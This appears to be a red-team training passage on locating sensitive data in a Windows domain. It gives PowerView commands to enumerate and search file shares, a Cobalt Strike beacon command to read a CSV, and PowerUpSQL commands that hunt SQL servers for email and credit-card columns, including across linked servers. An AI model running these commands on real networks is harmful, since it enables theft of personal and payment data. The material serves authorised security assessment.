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Organizations will store data in a wide variety of places from file shares, databases, SharePoint, internal wiki's, etc...

Note: When planning the assessment, a good strategy to suggest is to create dummy data. It is not recommended to carry out exfiltration tests with real data (Problems with GDPR).

File Shares

We can search for shares on a domain.

  • PowerView (dev): 
    Find-DomainShare 
Find-DomainShare -CheckShareAccess

Find-InterestingDomainShareFile searches inside each share, and returns results where the specified strings appears.

  • PowerView (dev): 
    Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Finally we can download it:

beacon> powershell gc \\share.corp.io\share\export.csv | select -first 5

Databases

PowerUpSQL provides various cmdlets designed for data searching and extraction.

Get-SQLColumnSampleDataThreaded can search one or more instances for databases that contains particular keywords in the column names.

beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

This can only search the instances where we have direct access, it will not try any SQL link. To search over the links use Get-SQLQuery.

 beacon> powershell Get-SQLQuery -Instance "sql-2.corp.local,1433" -Query "select * from openquery(""sql-1.external.local"", 'select * from information_schema.tables')"